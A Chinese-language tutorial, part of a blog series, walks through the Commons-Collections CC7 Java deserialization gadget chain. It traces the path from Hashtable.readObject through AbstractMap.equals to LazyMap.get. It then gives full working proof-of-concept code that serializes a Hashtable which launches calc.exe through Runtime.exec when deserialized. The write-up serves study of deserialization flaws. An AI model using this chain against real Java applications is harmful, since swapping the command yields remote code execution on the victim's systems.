前言
和CC5反序列化链相似,CC7也是后半条LazyMap执行命令链不变,但是中间过程通过AbstractMap.equals()触发LazyMap.get()方法
环境
我们可以接着使用之前已经搭建好的环境,具体过程可以看CC1分析文章的环境安装部分
Commons-Collections篇-CC1链小白基础分析学习
1.路线分析
和开头我们说的一样, CC7是后半条链不变,但是中间通过AbstractMap.equals()触发LazyMap.get()方法
我们先寻找到AbstractMap.equals()
我们可以看到判断中调用了get方法,接着寻找equals方法调用
在AbstractMapDecorator类中发现了equals方法的调用
在Hashtable类中reconstitutionPut方法发现了equals的调用,并且本身也被readObject调用
2.跑通路线
从我们上面的分析可以初步确定我们链的路线为:
Hashtable.reaObject
Hashtable.reconstitutionPutAbstractMapDecorator.equalsAbstractMap.equalsLazyMap.get
让我们来跑通这条路线
首先先把后半条链LazyMap.get写出来
public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);#Lazy.get(Runtime.getRuntime());}
我们前半条链从前往后分析,在入口readObject处主要触发的是reconstitutionPut方法中的e.key.equals(key),如果想触发我们需要先进入for循环,但是第一次的tab[index] 是没有值的,必须执行完第一次reconstitutionPut方法才能够赋值
所以刚开始的hashtable我们需要多个元素才能进入readObject中的for循环,以此来进行多次的reconstitutionPut方法
在这里需要注意一下,如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素,之后就不会在反序列化的时候触发equals代码
在reconstitutionPut方法中想要触发equals方法,还需要满足e.hash == hash,但是e.hash是第一次咱们计算哈希获得的值,而hash是第二次,所以得保持两次hash计算相同
所以这一部分的代码为
Map map = new HashMap();
Map map2 = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);
Lazy.put("yy",1);
Lazy2.put("zZ",1);Hashtable hashtable = new Hashtable();
hashtable.put(Lazy,1);
hashtable.put(Lazy2,2);
Poc中会把LazyMap传入,会调用lazyMap的equal方法,但它本身是没有这个方法的,所以会调用它的父类AbstractoMapDecorator的equal方法
在AbstractoMapDecorator的equals方法中map为HashMap,但是HashMap本身是没有equals方法的,会跳转到AbstractMap.equals方法
到这里,就回到咱们熟悉的LazyMap执行命令了
3.整体POC
还需要注意的是我们不想在序列化中执行我们的payload,所以先在最初指定一个空的chainedTransformer,我们在最后反射设置回我们要执行的命令
在最后我们还需要把Lazy2中去掉yy,因为在HashTable.put中也会调用到equals,当调用完equals()方法后,LazyMap2的key中就会增加一个yy键
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[]{String.class},new Object[]{"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});Map map = new HashMap();Map map2 = new HashMap();Map Lazy = LazyMap.decorate(map, chainedTransformer);Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);Lazy.put("yy",1);Lazy2.put("zZ",1);Hashtable hashtable = new Hashtable();hashtable.put(Lazy,1);hashtable.put(Lazy2,2);Class c = ChainedTransformer.class;Field field = c.getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer, transformers);Lazy2.remove("yy");serializable(hashtable);// unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}
我们反序列化刚才生成的文件
package org.example;
import java.lang.annotation.Annotation;import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CC {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}
整体的利用链为:
Hashtable.readObject
Hashtable.reconstitutionPutAbstractMapDecorator.equals AbstractMap.equalsLazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke() Class.getMethod()InvokerTransformer.transform()Method.invoke() Runtime.getRuntime()InvokerTransformer.transform()Method.invoke() Runtime.exec()
本系列历史文章
反序列化之路-URLDNS
Commons-Collections篇-CC1链小白基础分析学习
CC1链补充-LazyMap
Commons-Collections篇-CC2链分析
Commons-Collections篇-CC3链
Commons-Collections篇-CC4链分析
Commons-Collections篇-CC5链分析
Commons-Collections篇-CC6链分析